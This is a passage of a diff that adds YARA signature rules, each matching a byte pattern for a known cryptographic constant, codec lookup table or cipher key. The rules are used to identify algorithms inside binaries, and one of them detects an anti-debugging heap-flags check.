401931dbd1fad4997d13a3037ed17b9763967ab96d5468a10707e861c27fc7af1982cdd09c2899b324885f08330336bd3a0d73c0fa2ef4c95092e11855055bc74e17c4a90b5205db731d5671a479aad56d988fcbb7fcb9e309091d1318d716ed178c38a2468048f12a86aa7ae9abe7ff3403190ecea1c193fd218bd6618a6e9de3a4ae673fdd3081deae3cbf90f69f8fc02be50583738cb9a4ba77dd2c5823b7ba3f526c720f7dab8735c0b4dd24d2a599b0a65c93309e7c0bf434843c1b317215711135624c6f6e287b83edcd67c06036fe5a57dee2d356526fc88f71c97c584ceaed3e2f9e224471e07fe680b58d4a6f65cc92a7bfab26a6475e4a08940428b8c27bfb56c35a3485c8e923f9e8f53a9b4d3099ea6de60cffdca24145464902e15987f01b11171edc531528b43ab810c2d64a2087398eadf8dbd8f8281221a3e65efd4976457fbfdb546f91d96ed0b1c5d1b62bcaebc387a14024f365c06c89bfc501423b97329582cf939a94bc9d9b9c4a20eeb3b6bbf75568b2361c9d14f94bed978742ca4ae576e7055fede1e5eb6862dce5fe64f6dd0cf34e3d514f59d312766b8c0f1807cf2f7cf954a033a8c131f99fbcee27e418a3bd0d64410c4b16bd3828d51f5b150a8032ba0db070ba049eb763b7a3f5a932fa26f16f0cde063ce4a3d4de52895820d9a94606fda2f72ec72cf572daa8d1420e0e67aa75837e4c108b421b2bd420502d81d0c384ff8f5e33040979977a9c6857959ba1385133664910be1066066d7a741a2cc8c92dc2746a9fe781f45de992a12475595b76469cbfa150e80521188082abc230aa0ab78e9c2e1b8ab98fa4b8f8bf895216a40bb6e63aace348f355aadb303e3be7d8faa4c5b58d4fc0d2dcc80c971f976ff973c612123a2631ae2dda2f18a8fe9e8582d4319d71448d0091e2550ce39c222b3eec4b89c62d7c7c60f0768354f5d357cffe6806321d9d438327fa42a0c532682c29e4c785746c3f7235d9cd17acc314dd3bc748ce16d091ce0da3d95cce7fba6103bd5c797f21ed3f1f8056eba78ec690119ed358d3a9ccb67d57f1ca0b06e719734974efba58b0476f747e7d62f79be8616afba4d8e41efb570e6a36004b35545910ef13b115620a452de58169ba49a54b3360de61894a93f6096d4cb926613cf817e86908783662e42ae2fbd0d71dcdea3467226ac498dedc50f6b0b26bb371d24e73950335e42fce737907db9acf80c06dfcb4afbdc5a6aca4de267712ee09a2ba5b03c64cb957be8751911ee392f8b099d448a4f017eb86fd45da7c5f3c4488e3c0ffcd016b1a94deca6d15ae40b59ac04f0bfde054f943520b99254f7f564d4c8ebc941128085171842e4cbe03a75f6f01f7f6ad86b4690b90652e02ad1b671515409f5cfa457b281fd247f3d1ea75369a6133d4dbcc19ffb8f3eb7bf06317e13dd65a25a73d0bdc3744828a8c9205c2b29d3899098133a6230fe036222e3db8a62a516875702185acb889c75edf2f9b2994410e731d5bf1b60699a158b255ef332328ff0fec49d239b1f050244347ccbc684a43a15071a82dfa92ec8aff7fb6a8df23b2dda1638ba24dfb1df60e6d9527fe8f3afc28015c056c5795d7870f428049e6cb80d9137f8adb3e64ab761d610f0284772e652b059e905cd805ca251b1bb5ed865294392611273529793b37389441dd676d77eeaad0d305c846d8e0b455f6b4961186fc895f646c393a29f297dabdd62abf3ac4f34b2f0e859495caedce0abfdbc3cbd6d0c4986774e864d8ce412b1353e242b40763b9cbfcc9edba19e69c7aa29eb3a624ec0ea20db51ca83a69d7181e300f9e5ef845c0b11ba090407d6071ef4cfe8c7d77f2a94067518263f2ada17364673f59ff3f79dc4fc831477a1ac88218962d7a7088102d33392364f551aa3eb62a150064c372919d851b1ee1e6c3cfcadb0723eb741b60e174093d6ec76f47eb5265f44c55b7e8c0fd6beac97006b697a377d7c3e2de19bc0c79c9463b640a391f4fadd7a9bca512b041b3528c0dfb45ee5d8e581ed5546e415390dd783d1a7a0d8a0299eae5b551a2841c1ccf54eb06fc9821165d8c442d53963f93843657a840a05b0216eef883efae4587335fa6d4b1b2788da18709ff1ebc660812f32ef538d0af2a802b81de97deb1afa59adf89c9c28ca5374270a266cc9220eef8632775faf6b17c20cc0cdaf4e8345991925b84e8d53ecb493d702be6cbbb }
+
+condition:
+	$a0
+}
+
+	
+rule Borland_ascii_to_ebcdic__8_byt_256_
+{
+strings:
+	$a0 = { 00010203372d2e2f1605250b0c0d0e0f101112133c3d322618193f271c1d1e1f404f7f7b5b6c507d4d5d5c4e6b604b61f0f1f2f3f4f5f6f7f8f97a5e4c7e6e6f7cc1c2c3c4c5c6c7c8c9d1d2d3d4d5d6d7d8d9e2e3e4e5e6e7e8e94ae05a5f6d79818283848586878889919293949596979899a2a3a4a5a6a7a8a9c06ad0a1073f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3fff }
+
+condition:
+	$a0
+}
+
+	
+rule SecuDE_random_mult__32_lil_32_
+{
+strings:
+	$a0 = { 75563412efcdab89150811474c3d2e1ffc4563255424bcfdacfb4523fb876afd }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_old_15_tap_filter__flt32___32_lil_60_
+{
+strings:
+	$a0 = { c1b9a0ba5c1671bb17a20c3c06c7aa3cb3f24dbd1692f8bd00fa953e425a353f00fa953e1692f8bdb3f24dbd06c7aa3c17a20c3c5c1671bbc1b9a0ba }
+
+condition:
+	$a0
+}
+
+	
+rule id3tag_genre_alpha_map__32_lil_592_
+{
+strings:
+	$a0 = { 7b000000220000004a000000490000006300000014000000280000001a000000910000005a00000074000000290000008700000055000000600000008a00000059000000000000006b000000840000004100000058000000680000006600000061000000880000003d0000008d00000020000000010000007000000080000000390000008c000000020000008b0000003a000000030000007d000000320000001600000004000000370000007f0000007a00000078000000620000003400000030000000360000007c000000190000005400000050000000730000005100000077000000050000001e000000240000003b0000007e00000026000000310000005b00000006000000810000004f000000890000000700000023000000640000008300000013000000210000002e0000002f000000080000001d000000920000003f00000056000000470000002d0000008e000000090000004d0000005200000040000000850000000a00000042000000270000000b000000670000000c0000004b000000860000000d000000350000003e0000006d00000075000000170000006c0000005c000000430000005d0000002b000000790000000f000000440000000e000000100000004c0000005700000076000000110000004e0000008f000000720000006e00000045000000150000006f0000005f000000690000002a0000002500000018000000380000002c00000065000000530000005e0000006a0000009300000071000000120000003300000082000000900000003c000000460000001f000000480000001b0000001c000000 }
+
+condition:
+	$a0
+}
+
+	
+rule CAST128___CAST256_sbox2__32_big_1024_
+{
+strings:
+	$a0 = { 1f201094ef0ba75b69e3cf7e393f4380fe61cf7aeec5207a55889c9472fc0651ada7ef794e1d7235d55a63cede0436ba99c430ef5f0c079418dcdb7da1d6eff3a0b52f7b59e83605ee15b094e9ffd909dc440086ef944459ba83ccb3e0c3cdfbd1da41813b092ab1f997f1c1a5e6cf7b01420ddbe4e7ef5b25a1ff41e180f8061fc41080179bee7ad37ac6a9fe5830a498de8b7f77e83f4e7992926924fa9f7be113c85bacc40083d7503525f7ea615f621431540d554b635d681121c866c3593d63cf73cee234c0d4d87e875c672b21071f618139f7627f361e3084e4eb573b602f64a4d63acd9c1bbc46359e81032d2701f50c99847ab4a0e3df79ba6cf38c108430942537a95ef46f6ffea1ff3b1f208cfb6a8f458c74d9e0a2274ec73a34fc884f693e4de8dfef0e00883559648d8a45388c1d804366721d9bfda58684bbe8256333844e8212128d8098fed33fb4ce280ae127e19ba5d5a6c252e49754bdc5d655ddeb66706477840b4da1b6a80184db26a9e0b5671421f043b7e5d0586054f03084066ff472a31aa153dadc4755b5625dbf68561be683ca6b942d6ed23beccf01dba6d3d0bab6803d5caf77a70933b4a34c397bc8d65ee22b955f0e530481ed6f6120e74364b45e1378de18639b881ca122b96726d18049a7e822b7da7b5e552d255272d23779d2951cc60d894c488cb4021ba4fe5ba4b09f6b1ca815cfa20c30058871df63b9de2fcb0cc6c9e90beeff53e3214517b45428359f63293cee41e7296e1d2d7c500452861e6685f3f33401c630a22c9531a7085060930f1373f98417a1269859ec645c4452c877a9cdff33a6a02b17417cbad9a22180036f50d99c08cb3f4861c26bd76564a3f6ab8034267625a75e7be4e6d1fc20c710e6cdf0b68017844d3b31eef84d7e0824e42ccb49eb846a3bae8ff77888ee5d60f67af756732fdd5cdba11631c130f66f43b3faec54157fd7faef8579ccd152de58db2ffd5e8f32ce19306af97a02f03ef899319ad5c242fa0fa7e3ebb0c68e4906b8da230c80823028dcdef3c8d35fb171088a1bc8bec0c56061a3c9e8bca8f54dc72feffa22822e9982c570b4d8d94e898b1c34bc301e16e6273be979b0ffeaa661d9b8c600b24869b7ffce3f08dc283b43daf65af7e197987619b72f8f1c9ba4dc8637a016a7d3b19fc393b7a7136eebc6bcc63e1a513742ef6828bc520365d62d6a77ab3527ed4b821fd216095c6e2edb92f2fb5eea29cb145892f591584f7f5483697b2667a8cc851960488c4bacea833860d40d23e0f96c387e8a0ae6d249b284600cd835731ddcb1c647ac4c56ea3ebd81b3230eabb06438bc87f0b5b1fa8f5ea2b3fc1846420a036b7a4fb089bd649da589a345415e5c0383233e5d3bb943d795727e6dd07c06dfdf1e6c6cc4ef7160a53973bfbe70838776054523ecf1 }
+
+condition:
+	$a0
+}
+
+	
+rule BGMC_Cumulative_frequency_table_7__16_big_386_
+{
+strings:
+	$a0 = { 40003f153e2b3d413c573b6e3a85399d38b537ce36e73603351f343d335b327b319b30bc2fdd2f022e272d4f2c772ba32acf29fe292d2861279526cd26052540247b23b622f1222f216d20b11ff51f3e1e881dd61d241c781bcc1b261a8119e1194118a21803176b16d3164115af15231497140f138813071286120a118f1116109d10240fab0f350ebf0e4f0de00d760d0c0ca70c420be30b840b2a0ad00a7c0a2809d40981093308e6089d0855081107cd078c074b070f06d3069a0662062c05f605c0058a0556052204f204c20496046a0440041703f103cb03a80385036403440324030402e702ca02ad02920277025e0246022f0218020301ee01db01c801b501a2018f017c016a0158014801380129011b010e010100f500e900de00d300c900bf00b500ac00a3009b0093008b0084007d00770071006b00650060005b00560051004c00470042003e003a00360032002e002b002800250022001f001c001a00180016001400120010000e000c000a00080006000500040003000200010000 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_cfft_tab_256__flt64___64_big_4096_
+{
+strings:
+	$a0 = { 3ff000000000000000000000000000003feffd88600000003f992155ffffffab3feff621dfffffff3fa91f65ffffffd53fefe9cda00000043fb2d5209fffffeb3fefd88da00000043fb917a6c000000f3fefc2647ffffffc3fbf564e5fffffec3fefa7557ffffffd3fc2c8105ffffff23fef8765000000043fc5e2146000000f3fef6297bffffffd3fc8f8b84000000a3fef38f39ffffffe3fcc0b825ffffff93fef0a7f000000023fcf19f99ffffffc3feed740dffffffc3fd111d2800000023fee9f41600000043fd29406200000003fee6288e00000003fd4135c9ffffffb3fee2121000000033fd58f9a7ffffffd3feddb13c00000043fd708853ffffffb3fed906bbffffffd3fd87de2bffffffb3fed4134bffffffe3fd9ef795ffffff83feced7b000000003fdb5d10000000073fec954b200000003fdcc66e9ffffffe3fec38b2e00000043fde2b5d3ffffffc3febd7c0a00000013fdf8ba5000000043feb72833fffffff3fe073879ffffffd3feb090a5ffffffd3fe11eb3600000033fea9b661ffffffc3fe1c73b400000043fea29a7a00000023fe26d055ffffffd3fe9b3e0400000003fe30ff7fffffffd3fe93a223ffffffc3fe3affa3ffffffd3fe8bc805ffffffd3fe44cf3400000013fe83b0e000000013fe4e6cac00000033fe7b5df1fffffff3fe57d69400000013fe72d083ffffffe3fe610b7600000053fe6a09e5ffffffc3fe6a09e5ffffffc3fe610b7400000023fe72d083ffffffe3fe57d691fffffff3fe7b5df400000013fe4e6caa00000013fe83b0e200000033fe44cf31fffffff3fe8bc805ffffffd3fe3affa200000043fe93a223ffffffc3fe30ff7fffffffd3fe9b3e0400000003fe26d05400000043fea29a7a00000023fe1c73b200000023fea9b663ffffffe3fe11eb3600000033feb090a5ffffffd3fe07387800000043feb7283600000013fdf8ba4dffffff93febd7c0a00000013fde2b5cdfffffff3fec38b2fffffffd3fdcc66e800000053fec954b200000003fdb5d10200000003feced7b000000003fd9ef79200000063fed4134e00000003fd87de2a00000023fed906bbffffffd3fd70884dffffffe3feddb13c00000043fd58f9a600000043fee2121000000033fd4135c3ffffffe3fee6289000000023fd29406000000073fee9f41600000043fd111d25ffffff73feed740dffffffc3fcf19f8fffffffb3fef0a7f000000023fcc0b82400000003fef38f39ffffffe3fc8f8b7800000103fef6297dfffffff3fc5e213ffffffff3fef8765000000043fc2c810a00000083fefa7557ffffffd3fbf564d7ffffff93fefc2647ffffffc3fb917a69ffffff23fefd88da00000043fb2d51f5fffffe83fefe9cda00000043fa91f651fffffe23feff621dfffffff3f99214fc00000303feffd88600000003ff000000000000000000000000000003feff621dfffffff3fa91f65ffffffd53fefd88da00000043fb917a6c000000f3fefa7557ffffffd3fc2c8105ffffff23fef6297bffffffd3fc8f8b84000000a3fef0a7f000000023fcf19f99ffffffc3fee9f41600000043fd29406200000003fee2121000000033fd58f9a7ffffffd3fed906bbffffffd3fd87de2bffffffb3feced7b000000003fdb5d10000000073fec38b2e00000043fde2b5d3ffffffc3feb72833fffffff3fe073879ffffffd3fea9b661ffffffc3fe1c73b400000043fe9b3e0400000003fe30ff7fffffffd3fe8bc805ffffffd3fe44cf3400000013fe7b5df1fffffff3fe57d69400000013fe6a09e5ffffffc3fe6a09e5ffffffc3fe57d691fffffff3fe7b5df400000013fe44cf31fffffff3fe8bc805ffffffd3fe30ff7fffffffd3fe9b3e0400000003fe1c73b200000023fea9b663ffffffe3fe07387800000043feb7283600000013fde2b5cdfffffff3fec38b2fffffffd3fdb5d10200000003feced7b000000003fd87de2a00000023fed906bbffffffd3fd58f9a600000043fee2121000000033fd29406000000073fee9f41600000043fcf19f8fffffffb3fef0a7f000000023fc8f8b7800000103fef6297dfffffff3fc2c810a00000083fefa7557ffffffd3fb917a69ffffff23fefd88da00000043fa91f651fffffe23feff621dfffffffbe6777a5bd6ad3cd3ff0000000000000bfa91f681fffffcb3feff621dfffffffbfb917a81fffffe63fefd88da0000004bfc2c811400000093fefa7557ffffffdbfc8f8b84000000a3fef6297bffffffdbfcf19f99ffffffc3fef0a7f00000002bfd29406600000043fee9f4140000002bfd58f9ac00000013fee212100000003bfd87de2ffffffff3fed906bbffffffdbfdb5d10000000073feced7b00000000bfde2b5d9ffffff93fec38b2e0000004bfe073879ffffffd3feb72833fffffffbfe1c73b7fffffff3fea9b6600000003bfe30ff81fffffff3fe9b3e040000000bfe44cf31fffffff3fe8bc807fffffffbfe57d69600000033fe7b5defffffffdbfe6a09e5ffffffc3fe6a09e5ffffffcbfe7b5df600000033fe57d68fffffffdbfe8bc807fffffff3fe44cf31fffffffbfe9b3e0800000043fe30ff7a0000000bfea9b663ffffffe3fe1c73b20000002bfeb72833fffffff3fe073879ffffffdbfec38b31fffffff3fde2b5cc0000006bfeced7b000000003fdb5d0fdffffffcbfed906c000000013fd87de200000001bfee21211ffffffc3fd58f9a3ffffff9bfee9f41600000043fd2940660000004bfef0a7f000000023fcf19f8a0000010bfef6297dfffffff3fc8f8b820000011bfefa7557ffffffd3fc2c80f4000000dbfefd88da00000043fb917a5fffffff1bfeff621dfffffff3fa91f5f9ffffff53ff000000000000000000000000000003fefe9cda00000043fb2d5209fffffeb3fefa7557ffffffd3fc2c8105ffffff23fef38f39ffffffe3fcc0b825ffffff93fee9f41600000043fd29406200000003feddb13c00000043fd708853ffffffb3feced7b000000003fdb5d10000000073febd7c0a00000013fdf8ba5000000043fea9b661ffffffc3fe1c73b400000043fe93a225ffffffe3fe3affa200000043fe7b5df1fffffff3fe57d69400000013fe610b7400000023fe72d083ffffffe3fe44cf31fffffff3fe8bc805ffffffd3fe26d055ffffffd3fea29a7a00000023fe07387800000043feb7283600000013fdcc66e800000053fec954b200000003fd87de2a00000023fed906bbffffffd3fd4135c9ffffffb3fee6288e00000003fcf19fa0000000b3fef0a7f000000023fc5e213ffffffff3fef8765000000043fb917a69ffffff23fefd88da00000043f992157bfffff913feffd8860000000bfa91f681fffffcb3feff621dfffffffbfbf564ee00000193fefc26460000003bfc8f8b84000000a3fef6297bffffffdbfd111d23ffffffe3feed740dffffffcbfd58f9a3ffffff93fee212100000003bfd9ef795ffffff83fed4134bffffffebfde2b5d9ffffff93fec38b2e0000004bfe11eb37ffffffc3feb090a40000004bfe30ff81fffffff3fe9b3e040000000bfe4e6cac00000033fe83b0e00000001bfe6a09e5ffffffc3fe6a09e5ffffffcbfe83b0e000000013fe4e6cac0000003bfe9b3e0400000003fe30ff81fffffffbfeb090a400000043fe11eb37ffffffcbfec38b2e00000043fde2b5d9ffffff9bfed4134e00000003fd9ef78e0000002bfee21211ffffffc3fd58f9a3ffffff9bfeed740dffffffc3fd111d23ffffffebfef6297dfffffff3fc8f8b820000011bfefc264600000033fbf564ebffffffcbfeff621dfffffff3fa91f679fffffe7bfeffd8860000000bf9921508000004ebfefd88da0000004bfb917a8e0000004bfef876500000004bfc5e21520000009bfef0a7f00000002bfcf19fa0000000bbfee6288e0000000bfd4135cc0000006bfed906bbffffffdbfd87de2a0000002bfec954b20000000bfdcc66e80000005bfeb728360000001bfe0738780000004bfea29a7c0000004bfe26d0520000002bfe8bc80a0000001bfe44cf2fffffffdbfe72d081ffffffcbfe610b77ffffffebfe57d691fffffffbfe7b5df40000001bfe3affa20000004bfe93a225ffffffebfe1c73abffffffcbfea9b6680000002bfdf8ba4dffffff9bfebd7c0a0000001bfdb5d0f60000006bfeced7b20000002bfd708857fffffffbfeddb13a0000002bfd294059ffffff8bfee9f4160000004bfcc0b8380000003bfef38f39ffffffebfc2c80fe000000ebfefa7557ffffffdbfb2d523e000000dbfefe9cda00000043ff000000000000000000000000000003fefd88da00000043fb917a6c000000f3fef6297bffffffd3fc8f8b84000000a3fee9f41600000043fd29406200000003fed906bbffffffd3fd87de2bffffffb3fec38b2e00000043fde2b5d3ffffffc3fea9b661ffffffc3fe1c73b400000043fe8bc805ffffffd3fe44cf3400000013fe6a09e5ffffffc3fe6a09e5ffffffc3fe44cf31fffffff3fe8bc805ffffffd3fe1c73b200000023fea9b663ffffffe3fde2b5cdfffffff3fec38b2fffffffd3fd87de2a00000023fed906bbffffffd3fd29406000000073fee9f41600000043fc8f8b7800000103fef6297dfffffff3fb917a69ffffff23fefd88da00000043ff000000000000000000000000000003fef6297bffffffd3fc8f8b84000000a3fed906bbffffffd3fd87de2bffffffb3fea9b661ffffffc3fe1c73b400000043fe6a09e5ffffffc3fe6a09e5ffffffc3fe1c73b200000023fea9b663ffffffe3fd87de2a00000023fed906bbffffffd3fc8f8b7800000103fef6297dfffffffbe6777a5bd6ad3cd3ff0000000000000bfc8f8b84000000a3fef6297bffffffdbfd87de2ffffffff3fed906bbffffffdbfe1c73b7fffffff3fea9b6600000003bfe6a09e5ffffffc3fe6a09e5ffffffcbfea9b663ffffffe3fe1c73b20000002bfed906c000000013fd87de200000001bfef6297dfffffff3fc8f8b8200000113ff000000000000000000000000000003fee9f41600000043fd29406200000003fea9b661ffffffc3fe1c73b400000043fe44cf31fffffff3fe8bc805ffffffd3fd87de2a00000023fed906bbffffffd3fb917a69ffffff23fefd88da0000004bfc8f8b84000000a3fef6297bffffffdbfde2b5d9ffffff93fec38b2e0000004bfe6a09e5ffffffc3fe6a09e5ffffffcbfec38b2e00000043fde2b5d9ffffff9bfef6297dfffffff3fc8f8b820000011bfefd88da0000004bfb917a8e0000004bfed906bbffffffdbfd87de2a0000002bfe8bc80a0000001bfe44cf2fffffffdbfe1c73abffffffcbfea9b6680000002bfd294059ffffff8bfee9f41600000043ff000000000000000000000000000003fed906bbffffffd3fd87de2bffffffb3fe6a09e5ffffffc3fe6a09e5ffffffc3fd87de2a00000023fed906bbffffffd3ff000000000000000000000000000003fe6a09e5ffffffc3fe6a09e5ffffffcbe6777a5bd6ad3cd3ff0000000000000bfe6a09e5ffffffc3fe6a09e5ffffffc3ff000000000000000000000000000003fd87de2a00000023fed906bbffffffdbfe6a09e5ffffffc3fe6a09e5ffffffcbfed906bbffffffdbfd87de2a00000023ff000000000000000000000000000003ff000000000000000000000000000003ff000000000000000000000000000003e499bc5cd063887bff0000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_truespeech_ts_562__16_lil_128_
+{
+strings:
+	$a0 = { 02000600fefffaff04000c00fcfff4ff06001200faffeeff0a001e00f6ffe2ff10003000f0ffd0ff19004b00e7ffb5ff28007800d8ff88ff4000c000c0ff40ff65002f019bffd1fea100e3015fff1dfe0001000300ff00fd9601c2046afe3efb85028f077bfd71f80004000c00fc00f459060b13a7f9f5ec140a3c1eecf5c4e1 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__Heap_flags__8_byt_14_
+{
+strings:
+	$a0 = { 64a1300000008b40188b401085c0 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_msmpeg4_table0_mv_code__16_big_2200_
+{
+strings:
+	$a0 = { 000100030005000700030008000c00010002001b0006000b00150002000e000f001400200022002500270029002d004b004d000300220023002500270042004800490050005c0091009f000e0043004c00540056008c0098009a009b00b100b20120012101260133013901a101a401a501a601a701ae01af000b001900850090009b00aa00af010c010e011c011e01330144016001740175017701780249024b025202610265027003520353035503590010001100130034003500360037003d003e010901260156021a021e023a023e028e028f02cf04910494049f04a004a304a604a704ad04ae04c004c404c604c804c904f504f604f706800682068306880689068d068e068f06a206a306a906b006b106b406b500240060006300780079021102440245024702480249024a024b026b02af02b802bb043604760477047e04c804c904ca0514058605870598059d05d905da09200921093b093c093d09420943094409450959095e095f09820983098e098f09c409e709e809e90d020d170d180d190d410d420d430d500d5f0d6d0d6e0d6f00520053005400550056005700c200c300c400c5041e041f04200421048c048d04d304d404d5055c055d057205730574057508de08df08fe08ff09960a360a370b080b090b0a0b0b0b320b330b340b350b360b370b380b390bb00bf70bf80bf90bfa0bfb0bfc0bfd0bfe0bff125412551256125712701271127212731274127512ab12ac12ad12ae12af12b012b113151316131713bf13c013c113c213c313c413c513c613c713c813c913ca13cb13cc13cd1a061a071a281a291a2a1a2b1a2c1a2d1a801abb1abc1abd1ad81ad9009400950096009700a000a100a200a3083108320833083408350836083708380839083a083b0939093a093b093c093d093e093f09a009a109a209a309a409a511ac11ad11ae11af11b011b111b211b311b411b511b611b711b811b911ba11bb132f145414551456145714581459145a145b145c145d145e145f1460146114621463146414651466146714681469146a146b17de17df17e017e117e217e317e417e517e617e717e817e917ea17eb17ec17ed2540254125422543254425452546254725482549254a254b254c254d254e254f25502551255225532554255526282766276727682769276a276b276c276d276e276f2770277127722773277427752776277727782779277a277b277c277d350335443545354635473560356135623563356435653566356735683569356a356b356c356d356e356f35703571357235733574357503f0103d103e103f1040104110421043104410451046104710481049104a104b104c104d104e104f1050105110521053105410551056105710581059105a105b105c105d105e105f106010611270127121b821b921ba21bb21bc21bd21be21bf21f021f121f221f321f421f521f621f721f821f921fa21fb21fc21fd21fe21ff2340234123422343234423452346234723482349234a234b234c234d234e234f23502351235223532354235523562357265c2f882f892f8a2f8b2f8c2f8d2f8e2f8f2f902f912f922f932f942f952f962f972f982f992f9a2f9b2f9c2f9d2f9e2f9f2fa02fa12fa22fa32fa42fa52fa62fa72fa82fa92faa2fab2fac2fad2fae2faf2fb02fb12fb22fb32fb42fb52fb62fb72fb82fb92fba2fbb4c524c534e284e294e2a4e2b4e2c4e2d4e2e4e2f4e304e314e324e334e344e354e364e374e384e394e3a4e3b4e3c4e3d4e3e4e3f4e804e814e824e834e844e854e864e874e884e894e8a4e8b4e8c4e8d4e8e4e8f4e904e914e924e934e944e954e964e974e984e994e9a4e9b4e9c4e9d4e9e4e9f4ea04ea14ea24ea34ea44ea54ea64ea74ea84ea94eaa4eab4eac4ead4eae4eaf4eb04eb14eb24eb34eb44eb54eb64eb74eb84eb94eba4ebb4ebc4ebd4ebe4ebf4ec04ec14ec24ec34ec44ec54ec64ec74ec84ec94eca4ecb6a046a0507e207e307e407e507e607e707e807e907ea07eb07ec07ed07ee07ef07f007f107f207f307f407f507f607f707f807f907fa07fb07fc07fd07fe07ff2000200120022003200420052006200720082009200a200b200c200d200e200f2010201120122013201420152016201720182019201a201b201c201d201e201f2020202120222023202420252026202720282029202a202b202c202d202e202f2030203120322033203420352036203720382039203a203b203c203d203e203f2040204120422043204420452046204720482049204a204b204c204d204e204f2050205120522053205420552056205720582059205a205b205c205d205e205f2060206120622063206420652066206720682069206a206b206c206d206e206f20702071207220732074207520762077207820794cba4cbb5d885d895d8a5d8b5d8c5d8d5d8e5d8f5db05db15db25db35db45db55db65db75db85db95dba5dbb5dbc5dbd5dbe5dbf5e405e415e425e435e445e455e465e475e485e495e4a5e4b5e4c5e4d5e4e5e4f5e505e515e525e535e545e555e565e575e585e595e5a5e5b5e5c5e5d5e5e5e5f5e605e615e625e635e645e655e665e675e685e695e6a5e6b5e6c5e6d5e6e5e6f5e705e715e725e735e745e755e765e775e785e795e7a5e7b5e7c5e7d5e7e5e7f5e805e815e825e835e845e855e865e875e885e895e8a5e8b5e8c5e8d5e8e5e8f5e905e915e925e935e945e955e965e975e985e995e9a5e9b5e9c5e9d5e9e5e9f5ea05ea15ea25ea35ea45ea55ea65ea75ea85ea95eaa5eab5eac5ead5eae5eaf5eb05eb15eb25eb35eb45eb55eb65eb75eb85eb95eba5ebb5ebc5ebd5ebe5ebf5ec05ec15ec25ec35ec45ec55ec65ec75ec85ec95eca5ecb5ecc5ecd5ece5ecf5ed05ed15ed25ed35ed45ed55ed65ed75ed85ed95eda5edb5edc5edd5ede5edf5ee05ee15ee25ee35ee45ee55ee65ee75ee85ee95eea5eeb5eec5eed5eee5eef5ef05ef15ef25ef35ef45ef55ef65ef75ef85ef95efa5efb5efc5efd5efe5eff5f005f015f025f035f045f055f065f075f085f095f0a5f0b5f0c5f0d5f0e5f0f0000 }
+
+condition:
+	$a0
+}
+
+	
+rule VC1_1____PQuant____7__32_big_144_
+{
+strings:
+	$a0 = { 000000000000000b0000000500000001000000030000000100000002000000030000000200000003000000030000000300000004000000030000000400000005000000030000000500000006000000030000000600000007000000030000000700000000000000050000000800000001000000050000000900000002000000050000000a00000003000000050000000b }
+
+condition:
+	$a0
+}
+
+	
+rule Iraqi_block_cipher_fixed_key__8_byt_32_
+{
+strings:
+	$a0 = { 2ef58a0df4e9ee9a8b1ef15a2fcdab61dfbe1c0ab90d17891ed0fe8fa5651b30 }
+
+condition:
+	$a0
+}
+
+	
+rule Speed_Challenge_network_encryption_decryption_algorithm_X4d4788__8_byt_55_
+{
+strings:
+	$a0 = { 537cc9166cb38ae11ea7026fdee00dc6502d13b5370a420a4890f6b22ad207233ba305ef09d56d533392da31fca0b05329468c5bf32123 }
+
+condition:
+	$a0
+}
+
+	
+rule meaningful_bits_table_bs_write_ue__from_x264___32_big_1024_
+{
+strings:
+	$a0 = { 00000001000000010000000200000002000000030000000300000003000000030000000400000004000000040000000400000004000000040000000400000004000000050000000500000005000000050000000500000005000000050000000500000005000000050000000500000005000000050000000500000005000000050000000600000006000000060000000600000006000000060000000600000006000000060000000600000006000000060000000600000006000000060000000600000006000000060000000600000006000000060000000600000006000000060000000600000006000000060000000600000006000000060000000600000006000000070000000700000007000000070000000700000007000000070000000700000007000000070000000700000007000000070000000700000007000000070000000700000007000000070000000700000007000000070000000700000007000000070000000700000007000000070000000700000007000000070000000700000007000000070000000700000007000000070000000700000007000000070000000700000007000000070000000700000007000000070000000700000007000000070000000700000007000000070000000700000007000000070000000700000007000000070000000700000007000000070000000700000007000000070000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008 }
+
+condition:
+	$a0
+}
+
+	
+rule lpc_decode_detau_table__32_big_512_
+{
+strings:
+	$a0 = { 000000000000000000000000000000030000000000000003000000030000001f0000000000000003000000030000001500000003000000030000001d0000001e0000000000000003000000030000001400000003000000190000001b0000001a00000003000000170000003a0000001600000003000000180000001c0000000300000000000000030000000300000003000000030000002700000021000000200000000300000025000000230000002400000003000000260000002200000003000000030000002a0000002e0000002c0000003200000028000000300000000300000036000000030000003800000003000000340000000300000003000000010000000000000003000000030000006c000000030000004e000000640000006800000003000000540000005c000000580000009c000000500000006000000003000000030000004a0000004600000048000000420000004c00000044000000030000003e000000030000003c000000030000004000000003000000030000000100000003000000740000008400000070000000940000009800000003000000030000008c000000030000008800000003000000900000000300000003000000010000007c000000780000008000000003000000030000000300000003000000010000000300000003000000030000000100000003000000010000000100000001 }
+
+condition:
+	$a0
+}
+
+	
+rule E2_values__32_big_AND_
+{
+strings:
+	$a0 = { 67452301[0-20]efcdab89[0-20]30d32e58[0-20]b89e4984[0-20]0957cfec[0-20]d800502e[0-20]00ffff00[0-20]0000ffff[0-20]ff0000ff[0-20]ffff0000[0-20]00ff00ff }
+
+condition:
+	$a0
+}
+
+	
+rule GS_SDK_challenge_response_algorithm_default_key__8_byt_STR_32_
+{
+strings:
